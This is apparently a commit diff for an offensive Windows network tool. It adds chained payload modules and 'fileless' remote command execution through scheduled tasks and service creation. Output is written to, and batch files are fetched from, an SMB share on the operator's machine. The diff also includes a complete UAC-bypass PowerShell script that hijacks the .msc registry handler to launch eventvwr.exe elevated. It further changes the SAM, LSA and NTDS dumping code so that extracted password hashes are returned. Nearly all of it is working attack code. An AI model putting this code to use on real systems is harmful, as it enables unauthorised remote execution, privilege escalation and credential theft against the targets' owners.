Initial implementation of module chaining

Oook, this commit is basicallu just so I can start tracking (and
testing) all of the changes made so far:

- All execution methods are now completely fileless, all output and/or batch
  files get outputted/hosted locally on a SMB server that gets spun up on runtime

- Module structure has been modified for module chaining

- Module chaining implementation is currently very hacky, I definitly
  have to figure out something more elegant but for now it
  works. Module chaining is performed via the -MC flag and has it's own
  mini syntax (will be adding it to the wiki)

- You can now specify credential ID ranges using the -id flag
- Added the eventvwr_bypass and rundll32_exec modules
- Renamed a lot of the modules for naming consistency

TODO:

- Launchers/Payloads need to be escaped before being generated when
  module chaining

- Add check for modules 'required_server' attribute
- Finish modifying the functions in the Connection object so they return
  the results
main
byt3bl33d3r 2016-09-12 00:52:50 -06:00
parent e67fc4ca8f
commit db056d1ab4
32 changed files with 1080 additions and 395 deletions

109
cme/cmechainserver.py Normal file
View File

@ -0,0 +1,109 @@
import BaseHTTPServer
import threading
import ssl
import os
import sys
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from cme.helpers import highlight
from cme.logger import CMEAdapter
from cme.cmeserver import CMEServer
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
module = self.server.host_chain[self.client_address[0]][0]
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))
def do_GET(self):
current_module = self.server.host_chain[self.client_address[0]][0]
if hasattr(current_module, 'on_request'):
module_list = self.server.host_chain[self.client_address[0]][:]
module_list.reverse()
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
if len(module_list) > 2:
for module in module_list:
if module == current_module or module == module_list[0]:
continue
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
final_launcher = module.launcher(self.server.context, final_launcher)
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
launcher = current_module.launcher(self.server.context, final_launcher)
payload = current_module.payload(self.server.context, final_launcher)
current_module.on_request(self.server.context, self, launcher, payload)
if not hasattr(current_module, 'on_response'):
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def do_POST(self):
self.server.log.debug(self.server.host_chain)
module = self.server.host_chain[self.client_address[0]][0]
if hasattr(module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
module.on_response(self.server.context, self)
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
if len(self.server.host_chain[self.client_address[0]]) == 1:
try:
self.server.hosts.remove(self.client_address[0])
del self.server.host_chain[self.client_address[0]]
except ValueError:
pass
class CMEChainServer(CMEServer):
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
try:
threading.Thread.__init__(self)
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
self.server.hosts = []
self.server.host_chain = {}
self.server.chain_list = chain_list
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1)
def track_host(self, host_ip):
self.server.hosts.append(host_ip)
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]

View File

@ -3,7 +3,6 @@ import threading
import ssl
import os
import sys
from getpass import getuser
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
@ -20,7 +19,11 @@ class RequestHandler(BaseHTTPRequestHandler):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
self.server.module.on_request(self.server.context, self)
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
self.server.module.on_request(self.server.context, self, launcher, payload)
def do_POST(self):
if hasattr(self.server.module, 'on_response'):
@ -41,10 +44,6 @@ class CMEServer(threading.Thread):
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
if port <= 1024 and os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
sys.exit(1)
try:
threading.Thread.__init__(self)
@ -61,15 +60,18 @@ class CMEServer(threading.Thread):
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port')
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting CME server: {}'.format(message))
logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1)
def base_server(self):
return self.server
def track_host(self, host_ip):
self.server.hosts.append(host_ip)
def run(self):
try:
self.server.serve_forever()

50
cme/cmesmbserver.py Normal file
View File

@ -0,0 +1,50 @@
import threading
import logging
import sys
import os
from impacket import smbserver
class CMESMBServer(threading.Thread):
def __init__(self, logger, share_name, verbose=False):
try:
threading.Thread.__init__(self)
self.server = smbserver.SimpleSMBServer()
self.server.addShare(share_name.upper(), os.path.join('/tmp', 'cme_hosted'))
if verbose: self.server.setLogFile('')
self.server.setSMB2Support(False)
self.server.setSMBChallenge('')
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting SMB server: the port is already in use')
else:
logger.error('Error starting SMB server: {}'.format(message))
sys.exit(1)
def run(self):
try:
self.server.start()
except:
pass
def shutdown(self):
#try:
# while len(self.server.hosts) > 0:
# self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
# sleep(15)
#except KeyboardInterrupt:
# pass
self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass

View File

@ -41,12 +41,14 @@ def requires_admin(func):
class Connection:
def __init__(self, args, db, host, module, cmeserver):
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
self.args = args
self.db = db
self.host = host
self.module = module
self.chain_list = chain_list
self.cmeserver = cmeserver
self.share_name = share_name
self.conn = None
self.hostname = None
self.domain = None
@ -148,9 +150,13 @@ class Connection:
self.login()
if ((self.password is not None or self.hash is not None) and self.username is not None):
if (self.password is not None or self.hash is not None) and self.username is not None:
if self.module or self.chain_list:
if self.chain_list:
module = self.chain_list[0]['object']
if self.module:
module_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.host,
@ -163,13 +169,42 @@ class Connection:
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'):
module.on_login(context, self)
if self.module:
if hasattr(module, 'on_admin_login') and self.admin_privs:
module.on_admin_login(context, self)
launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
elif self.module is None:
if hasattr(module, 'on_login'):
module.on_login(context, self, launcher, payload)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.chain_list:
module_list = self.chain_list[:]
module_list.reverse()
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
if len(module_list) > 2:
for m in module_list:
if m['object'] == module or m['object'] == module_list[0]['object']:
continue
final_launcher = m['object'].launcher(context, final_launcher)
if module == module_list[0]['object']:
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
launcher = module.launcher(context, final_launcher)
payload = module.payload(context, final_launcher)
if hasattr(module, 'on_login'):
module.on_login(context, self)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.module is None and self.chain_list is None:
for k, v in vars(self.args).iteritems():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None:
@ -345,16 +380,16 @@ class Connection:
for cred_id in self.args.cred_id:
with sem:
try:
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]
if not domain: domain = self.domain
if self.args.domain: domain = self.args.domain
if credtype == 'hash' and not self.over_fail_limit(username):
self.hash_login(domain, username, password)
if self.hash_login(domain, username, password): return
elif credtype == 'plaintext' and not self.over_fail_limit(username):
self.plaintext_login(domain, username, password)
if self.plaintext_login(domain, username, password): return
except IndexError:
self.logger.error("Invalid database credential ID!")
@ -442,7 +477,7 @@ class Connection:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
@ -452,7 +487,7 @@ class Connection:
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
@ -462,7 +497,7 @@ class Connection:
elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
@ -470,9 +505,7 @@ class Connection:
logging.debug(format_exc())
continue
if self.cmeserver:
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
self.cmeserver.server.hosts.append(self.host)
if self.cmeserver: self.cmeserver.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
@ -502,7 +535,9 @@ class Connection:
@requires_admin
def ntds(self):
return DumpSecrets(self).NTDS_dump()
#We could just return the whole NTDS.dit database but in large domains it would be huge
#and would take up too much memory
DumpSecrets(self).NTDS_dump()
@requires_admin
def wdigest(self):

View File

@ -10,10 +10,14 @@ from argparse import RawTextHelpFormatter
from cme.connection import Connection
from cme.database import CMEDatabase
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
from cme.helpers import highlight
from cme.helpers import highlight, gen_random_string
from cme.targetparser import parse_targets
from cme.moduleloader import ModuleLoader
from cme.modulechainloader import ModuleChainLoader
from cme.cmesmbserver import CMESMBServer
from cme.first_run import first_run_setup
from getpass import getuser
from pprint import pformat
import sqlite3
import argparse
import os
@ -56,7 +60,7 @@ def main():
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
ddgroup = parser.add_mutually_exclusive_group()
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
@ -64,7 +68,9 @@ def main():
msgroup = parser.add_mutually_exclusive_group()
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use')
mcgroup = parser.add_mutually_exclusive_group()
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
parser.add_argument('--show-options', action='store_true', help='Display module options')
@ -131,18 +137,25 @@ def main():
cme_path = os.path.expanduser('~/.cme')
module = None
server = None
context = None
targets = []
module = None
chain_list = None
server = None
context = None
smb_server = None
share_name = gen_random_string(5).upper()
targets = []
server_port_dict = {'http': 80, 'https': 443}
args = parser.parse_args()
if os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
sys.exit(1)
if args.verbose:
setup_debug_logger()
logging.debug(vars(args))
logging.debug('Passed args:\n' + pformat(vars(args)))
if not args.server_port:
args.server_port = server_port_dict[args.server]
@ -172,6 +185,14 @@ def main():
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
if args.cred_id:
for cred_id in args.cred_id:
if '-' in str(cred_id):
start_id, end_id = cred_id.split('-')
for n in range(int(start_id), int(end_id) + 1):
args.cred_id.append(n)
args.cred_id.remove(cred_id)
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
@ -186,7 +207,7 @@ def main():
if args.list_modules:
for m in modules:
logger.info('{:<20} {}'.format(m, modules[m]['description']))
logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
sys.exit(0)
elif args.module and args.show_options:
@ -200,13 +221,20 @@ def main():
if args.module.lower() == m.lower():
module, context, server = loader.init_module(modules[m]['path'])
elif args.module_chain:
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
if args.execute or args.ps_execute or args.module or args.module_chain:
smb_server = CMESMBServer(logger, share_name, args.verbose)
smb_server.start()
try:
'''
Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights
'''
pool = Pool(args.threads)
jobs = [pool.spawn(Connection, args, db, str(target), module, server) for target in targets]
jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
if args.ntds or args.spider:
@ -220,4 +248,8 @@ def main():
if server:
server.shutdown()
if smb_server:
pass
#smb_server.shutdown()
logger.info('KTHXBYE!')

View File

@ -181,6 +181,8 @@ class LSASecrets(OfflineRegistry):
self.__cachedItems.append(answer)
self.__logger.highlight(answer)
return self.__cachedItems
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
@ -302,6 +304,8 @@ class LSASecrets(OfflineRegistry):
self.__printSecret(key, secret)
return self.__secretItems
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')

View File

@ -67,6 +67,7 @@ class SAMHashes(OfflineRegistry):
def dump(self):
NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0"
sam_hashes = []
if self.__samFile is None:
# No SAM file provided
@ -114,8 +115,11 @@ class SAMHashes(OfflineRegistry):
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__logger.highlight(answer)
sam_hashes.append(answer)
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
return sam_hashes
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)

View File

@ -97,32 +97,47 @@ class DumpSecrets:
def SAM_dump(self):
self.enableRemoteRegistry()
sam_hashes = []
try:
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True)
self.__SAMHashes.dump()
self.__SAMHashes = SAMHashes(SAMFileName,
self.__bootKey,
self.__logger,
self.__db,
self.__host,
self.__hostname,
isRemote = True)
sam_hashes.extend(self.__SAMHashes.dump())
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('SAM hashes extraction failed: %s' % str(e))
self.cleanup()
return sam_hashes
def LSA_dump(self):
self.enableRemoteRegistry()
lsa_secrets = []
try:
SECURITYFileName = self.__remoteOps.saveSECURITY()
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote)
self.__LSASecrets.dumpCachedHashes()
self.__LSASecrets = LSASecrets(SECURITYFileName,
self.__bootKey,
self.__logger,
self.__remoteOps,
isRemote=self.__isRemote)
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
self.cleanup()
return lsa_secrets
def NTDS_dump(self, method, pwdLastSet, history):
self.__pwdLastSet = pwdLastSet
@ -158,10 +173,29 @@ class DumpSecrets:
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
try:
self.__remoteOps.finish()
except:
logging.debug('Error calling remoteOps.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__SAMHashes:
self.__SAMHashes.finish()
try:
self.__SAMHashes.finish()
except:
logging.debug('Error calling SAMHashes.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__LSASecrets:
self.__LSASecrets.finish()
try:
self.__LSASecrets.finish()
except:
logging.debug('Error calling LSASecrets.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__NTDSHashes:
self.__NTDSHashes.finish()
try:
self.__NTDSHashes.finish()
except:
logging.debug('Error calling NTDSHashes.finish(), traceback:')
logging.debug(traceback.format_exc())

View File

@ -0,0 +1,82 @@
function Invoke-EventVwrBypass {
<#
.SYNOPSIS
Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10
Only tested on Windows 7 and Windows 10
Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Command
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
.EXAMPLE
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
This will write out "Is Elevated: True" to C:\UACBypassTest.
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Force
)
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
#Add in the new registry entries to hijack the msc file
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $mscCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}
if (Test-Path $mscCommandPath) {
Write-Verbose "Created registry entries to hijack the msc extension"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
#Start Event Viewer
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
$Process = Start-Process -FilePath $EventvwrPath -PassThru
Write-Verbose "Started eventvwr.exe"
}
#Sleep 5 seconds
Write-Verbose "Sleeping 5 seconds to trigger payload"
if (-not $PSBoundParameters['WhatIf']) {
Start-Sleep -Seconds 5
}
$mscfilePath = "HKCU:\Software\Classes\mscfile"
if (Test-Path $mscfilePath) {
#Remove the registry entry
Remove-Item $mscfilePath -Recurse -Force
Write-Verbose "Removed registry entries"
}
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verbose "Killed running eventvwr process"
}
}

View File

@ -38,3 +38,5 @@ class ShareEnum:
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
else:
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
return self.permissions

View File

@ -1,14 +1,17 @@
import os
import logging
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from cme.helpers import gen_random_string
from gevent import sleep
class TSCH_EXEC:
def __init__(self, target, username, password, domain, hashes=None):
def __init__(self, target, share_name, username, password, domain, hashes=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ''
self.__nthash = ''
self.__outputBuffer = ''
@ -36,21 +39,22 @@ class TSCH_EXEC:
def execute(self, command, output=False):
self.__retOutput = output
self.doStuff(command)
self.execute_handler(command)
return self.__outputBuffer
def doStuff(self, command):
def output_callback(data):
self.__outputBuffer = data
def output_callback(self, data):
self.__outputBuffer = data
dce = self.__rpctransport.get_dce_rpc()
def execute_handler(self, data):
if self.__retOutput:
try:
self.doStuff(data, fileless=True)
except:
self.doStuff(data)
else:
self.doStuff(data)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = gen_random_string(8)
def gen_xml(self, command, tmpFileName, fileless=False):
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
@ -92,66 +96,88 @@ class TSCH_EXEC:
<Command>cmd.exe</Command>
"""
if self.__retOutput:
tmpFileName = tmpName + '.tmp'
xml+= """ <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""".format(command, tmpFileName)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = " <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
else:
argument_xml = " <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>".format(command, tmpFileName)
elif self.__retOutput is False:
xml+= """ <Arguments>/C {}</Arguments>
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
logging.debug('Generated argument XML: ' + argument_xml)
xml += argument_xml
xml += """
</Exec>
</Actions>
</Task>
""".format(command)
"""
return xml
def doStuff(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = gen_random_string(8)
tmpFileName = tmpName + '.tmp'
xml = self.gen_xml(command, tmpFileName, fileless)
#logging.info("Task XML: {}".format(xml))
taskCreated = False
#logging.info('Creating task \\%s' % tmpName)
logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
#logging.info('Running task \\%s' % tmpName)
logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
sleep(2)
#logging.info('Deleting task \\%s' % tmpName)
logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
#self.__logger.success('Executed command via ATEXEC')
if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection()
while True:
try:
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception as e:
if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
sleep(3)
else:
raise
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
else:
pass
#logging.info('Output retrieval disabled')
if fileless:
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
else:
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
while True:
try:
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
break
except Exception as e:
if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
sleep(3)
else:
raise
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect()

View File

@ -1,4 +1,5 @@
import logging
import os
from gevent import sleep
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import *
@ -6,8 +7,9 @@ from cme.helpers import gen_random_string
class SMBEXEC:
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
self.__host = host
self.__share_name = share_name
self.__port = port
self.__username = username
self.__password = password
@ -59,52 +61,33 @@ class SMBEXEC:
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = self.__rpctransport.get_smb_connection()
def execute(self, command, output=False):
self.__retOutput = output
if self.__retOutput:
self.cd('')
self.execute_remote(command)
self.execute_fileless(command)
self.finish()
return self.__outputBuffer
def cd(self, s):
ret_state = self.__retOutput
self.__retOutput = False
self.execute_remote('cd ' )
self.__retOutput = ret_state
def get_output(self):
def output_callback(self, data):
self.__outputBuffer += data
if self.__retOutput is False:
self.__outputBuffer = ''
return
def output_callback(data):
self.__outputBuffer += data
while True:
try:
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
break
except Exception:
sleep(2)
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string()
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
def execute_fileless(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + '.bat'
local_ip = self.__rpctransport.get_socket().getsockname()[0]
if self.__retOutput:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
command = self.__shell + data
logging.debug('Executing command: ' + command)
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
batch_file.write(command)
logging.debug('Hosting batch file with command: ' + command)
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
logging.debug('Command to execute: ' + command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
@ -115,7 +98,18 @@ class SMBEXEC:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput: return
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
self.output_callback(output.read())
break
